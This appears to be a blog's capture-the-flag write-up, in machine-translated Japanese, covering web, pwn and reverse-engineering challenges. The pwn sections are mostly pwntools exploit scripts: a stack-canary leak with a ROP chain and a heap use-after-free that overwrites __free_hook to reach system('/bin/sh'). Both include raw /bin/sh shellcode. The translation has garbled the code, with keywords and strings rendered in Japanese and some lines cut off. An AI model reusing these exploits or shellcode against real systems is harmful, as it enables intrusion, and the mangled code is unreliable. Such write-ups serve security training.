Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382727

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

hackme

最初にファイルがアップロードされ、UTF-16のエンコードがバイパスされ、プロンプトに応じてファイル名が爆破されます。最後の4桁を爆破0000-9999にアクセスできます。 12時間であることに注意してください。

pwn

babyrop

デバッグ

#_*_ coding:utf-8 _*_

PWNインポートから *

npとしてnumpyをインポートします

context.log_level='debug'

#context.terminal=['tmux'、 'splitw'、 '-h']

prog='./babyrop'

#elf=elf(prog)

p=process(prog)#、env={'ld_preload':' ./libc-2.27.so '})

libc=elf( './libc-2.27.so')

#P=remote( '123.57.207.81'、44823)

def debug(addr、pie=false):

debug_str=''

PIE:の場合

text_base=int(os.popen( 'pmap {} | awk' {{print $ 1}} ''。format(p.pid))。readlines()[1]、16)

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(text_base+i))

gdb.attach(p、debug_str)

else:

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(i))

gdb.attach(p、debug_str)

def dbg():

gdb.attach(p)

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

s=lambdaデータ:p.send(str(data))#inデータがintであるケース

SA=Lambda Delim、データ:p.sendafter(str(delim)、str(data))

SL=LAMBDAデータ:P.SENDLINE(STR(data))

SLA=Lambda Delim、データ:p.sendlineafter(str(delim)、str(data))

r=lambda numb=4096 :p.recv(numb)

ru=lambda delims、drop=true :p.recvuntil(delims、drop)

それ=lambda :p.interactive()

uu32=lambda data :U32(data.ljust(4、 '\ 0'))

uu64=lambda data :U64(data.ljust(8、 '\ 0'))

bp=lambda bkp :pdbg.bp(bkp)

li=lambda str1、data1 :log.success(str1+'======='+hex(data1))

DEF DBGC(ADDR):

gdb.attach(p、 'b*' + hex(addr) + '\ n c')

def lg(s、addr):

print( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s、addr))

sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'

sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ Xe3 \ Xcd \ XCD \

sh_x64_21='\ xf7 \ xe6 \ x50 \ x48 \ xbf \ x2f \ x62 \ x69 \ x6e \ x2f \ x2f \ x73 \ x68 \ x57 \ x48 \ x89 \ \ xe7 \ xb0 \ x0f \ x3b \ X0f

#https://www.exploit-db.com/shellcodes

#-----------------------------------------------------------------------------------------sa('name? \n','a'*0x19)

デバッグ([0x400752])

main=0x40075b

Val=0x400717

read_plt=0x400600

BSS=0x601010

puts_got=0x600fc0

puts_plt=0x4005d0

printf_plt=0x4005f0

sa( 'name?\ n'、 'a'*0x19)

ru( 'a'*0x19)

RDI=0x400913

canary=(uu64(ru( '、')[0:7]))8

LG(「カナリア」、カナリア)

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=(p64(0x601010+8)*3)

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x40075c))

睡眠(0.5)

#pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(val)+'\ n'

#S(支払い)

sa( 'name?\ n'、p64(rdi)+p64(puts_plt)+p64(0x40075b)+'\ n')

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=p64(puts_plt)+p64(0x400717)+'a'*8

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x40075c))

sa( 'name?\ n'、p64(rdi)+p64(0x600fc0)+p64(0x0000000000040090c)+'\ n')

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=p64(puts_plt)+p64(0x400717)+'a'*8

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x0000400911))

libc_base=uu64(ru( '\ x7f'、drop=false)[-6:]) - (0x7f23ededeaa0-0x7f23ede5e000)

lg( 'libc_base'、libc_base)

sa( 'name?\ n'、p64(rdi)+p64(libc.search( '/bin/sh')。

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=p64(puts_plt)+p64(0x400717)+'a'*8

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x00000000000400911))

lg( 'libc_base'、libc_base)

それ()

本屋

uaf fastbin+tcache

#_*_ coding:utf-8 _*_

PWNインポートから *

context.log_level='debug'

prog='./bookshop'

#elf=elf(prog)

p=process(prog)#、env={'ld_preload':' ./libc-2.27.so '})

libc=elf( './libc-2.31.so')

#p=remote( '123.57.132.168'、30042)

def debug(addr、pie=true):

debug_str=''

PIE:の場合

text_base=int(os.popen( 'pmap {} | awk' {{print $ 1}} ''。format(p.pid))。readlines()[1]、16)

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(text_base+i))

gdb.attach(p、debug_str)

else:

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(i))

gdb.attach(p、debug_str)

def dbg():

gdb.attach(p)

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

s=lambdaデータ:p.send(data)#inデータがintであるケース

sa=lambda delim、データ:p.sendafter(delim、data)

SL=Lambdaデータ:p.sendline(data)

SLA=Lambda Delim、データ:p.sendlineafter(delim、data)

r=lambda numb=4096 :p.recv(numb)

ru=lambda delims、drop=true :p.recvuntil(delims、drop)

それ=lambda :p.interactive()

uu32=lambda data :U32(data.ljust(4、 '\ 0'))

uu64=lambda data :U64(data.ljust(8、 '\ 0'))

bp=lambda bkp :pdbg.bp(bkp)

li=lambda str1、data1 :log.success(str1+'======='+hex(data1))

DEF DBGC(ADDR):

gdb.attach(p、 'b*' + hex(addr) + '\ n c')

def lg(s、addr):

print( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s、addr))

sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'

sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ Xe3 \ Xcd \ XCD \

sh='\ x48 \ xb8 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x00 \ x50 \ x48 \ x89 \ xe7 \ x48 \ x31 \ xf6 \ x48 \ x31 \ xd2 \ x48 \ xc7 \ xc0 \ x3b \ x00 \ x00 \ x00 \ x0f \ x05 ''

#https://www.exploit-db.com/shellcodes

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

DEF Choice(IDX):

SLA( ''、str(idx))

def add(con):

選択(1)

SLA( ''、con)

DEF DELETE(IDX):

選択(2)

sla( 'bag?'、str(idx))

def Show(IDX):

選択(3)

sla( 'read?'、str(idx))

def exp():

sla( 'number?'、str(0x68))

範囲(10):のIの場合

追加(6*(p64(0)+p64(0x71)))

追加(p64(0)*4+(p64(0x421)+p64(0x41)))

範囲のIの場合(7):

削除(i)

削除(8)

show(1)

ru( 'content:')

heap=uu64(ru( '\ n')[-6:])

LG(「ヒープ」、ヒープ)

範囲のIの場合(7):

追加(6*(p64(0)+p64(0x71)))

削除(8)

追加(p64(ヒープ+0x40))

追加(p64(0))

追加(p64(0)*3+p64(0x421))

lg( 'heap'、heap+0x40)

#dbg()

削除(1)

show(1)

libc_base=uu64(ru( '\ x7f'、drop=false)[-6:]) - (0x7f3f97308be0-0x7f3f9711d000)

lg( 'libc'、libc_base)

fh=libc_base + libc.sym ['__ free_hook']

sys=libc_base + libc.sym ['system']

削除(2)

削除(20)

削除(0)

追加(p64(fh)*12)

追加( '/bin/sh \ x00')

追加(p64(sys))

削除(22)

それ()

__name__=='__main __' :の場合

exp()

re

ランダム

ディバッグキーが変更されていないことを見つけるためのデバッグ

q=[0x3e、0xcd、0xaa、0x8e、0x96、0x1f、0x89、0xcd、0xdb、0xf1、

0x70、0xf2、0xa9、0x9c、0xc2、0x8b、0xf2、0xfe、0xad、0x8b、

0x58、0x7c、0x2f、0x03、0x4a、0x65、0x31、0x89、0x76、0x57、

0x88、0xdf、0xb8、0xe9、0x01、0xe9、0xde、0xe5、0x86、0x68、

0x8f、0x24、0xd3、0x5a]

k=[0x58,0xa1,0xcb、0xe9,0xed、0x2c、0xec、0xfb、0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xcccc6,0x80,0xbf 4,0x18,0x2e、0x73,0x56,0x52,0xb8,0x5b、0x66,0xed、0xbc、0x8a、0xd8,0x36,0x8f、0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a

f=''

範囲(len(k)):のiの場合

f+=chr(q [i]^k [i])

印刷f

フラグ{3e625fe0-FB18-4F87-93C1-1EC217F86796}

wow

UPX -Dシェルなし

このセクションにパッチを当てます

.text:00402352 $+5を呼び出します

.text:00402357追加[ESP+4+var_4]、6

.text:0040235b dec eax

.text:0040235c retfint __cdecl main(int argc、const char ** argv、const char ** envp)

{

int *v3; //esi

int *v4; //EBP

int v5; //ECX

int v6; //EBP

int v7; //esi

int v8; //ECX

int v9; //edi

署名されていないint i; //EBX

署名されていないINT V11; //ECX

署名されていないINT V12; //edx

署名されていないINT V13; //ECX

int *v15; //[ESP+10H] [EBP-68H]

int v16; //[ESP+2CH] [EBP-4CH]

int v17; //[ESP+30H] [EBP-48H]

int v18; //[ESP+34H] [EBP-44H]

Char V19 [24]; //[ESP+38H] [EBP-40H] byref

Char V20 [24]; //[ESP+50H] [EBP-28H] byref

int v21; //[ESP+74H] [EBP-4H]

int savedregs; //[ESP+78H] [EBP+0H] Byref

v4=savedregs;

sub_4024c0(v20);

V21=0;

sub_402740(dword_42afd0、v20);

scanf(v19、input);

lobyte(v21)=1;

if(strlen(v20)!=36)

{

printf((int)unk_42ae80、 '間違った\ n');

V17=0;

V16=0;

label_9:

*((_ byte *)v4-4)=0;

sub_402430(v4-16);

*(v4 -1)=-1;

sub_402430(v4-10);

return *(v4-19);

}

v18=sub_402420(v20);

V15=V3;

v5=*(_ dword *)(v18 + 34);

V6=12;

v7=0;

する

{

V7 +=0x67452301;

v8=v5 -1;

V9=V7 + 4;

for(i=0; i 8; ++ i)

{

V11=V8 + 2;

v12=(((v11 + 1)3) +(v7 ^(16 *(v11 + 1)))))))))))))))) +(v7 ^(16 *(v11 + 1))) ^((v11 + 1)3))

+((v11 5) ^(4 * v11)));

*(_ dword *)v12 +=v12;

V6 +=2;

V9 +=4;

v8=*(_ dword *)v12 + 1;

}

v13=*(_ dword *)v12 + 3;

*(_ dword *)(v7 + 32) +=(((((v13 + 1)3) +(v7 ^(16 *(v13 + 1))))))))))))))

+((v13 5) ^(4 * v13)));

v5=*(_ dword *)(v7 + 32);

V6 +=2;

}

while(v6);

V4=V15;

if(sub_4029f0(v15-10、v15-16))

{

printf((int)unk_42ae80、 'right \ n');

*(v15-19)=0;

goto label_9;

}

printf((int)unk_42ae80、 '間違った\ n');

*((_ byte *)v15-4)=0;

sub_402430(v15-16);

*(v15-1)=-1;

return sub_402430(v15-10);

}

ほぼXXTEA暗号化です

アセンブリを見て、key=[0xefcdab89、0x10325476、0x98badcfe、0xc3d2e1f0]を見つけます

デルタ0x67452301

秘密のテキスト

0xd8f758f5、0x526849db、0xe2d72563、0x485eefac、0x608f4bc6、0x5859f76a、0xb03565a3、0x3e4091c1、0xd3db5b9a

復号化するためにオンラインでスクリプトを見つけます

#include stdio.h

#include stdint.h

#define delta0x67452301

#define mx(((z5^y2) +(y3^z4))^((sum^y) +(key [(p3)^e]^z)))

void xxtea(uint32_t* v、int n、uint32_t* key)

{

uint32_t y、z、sum;

符号なしP、ラウンド、E;

if(n&g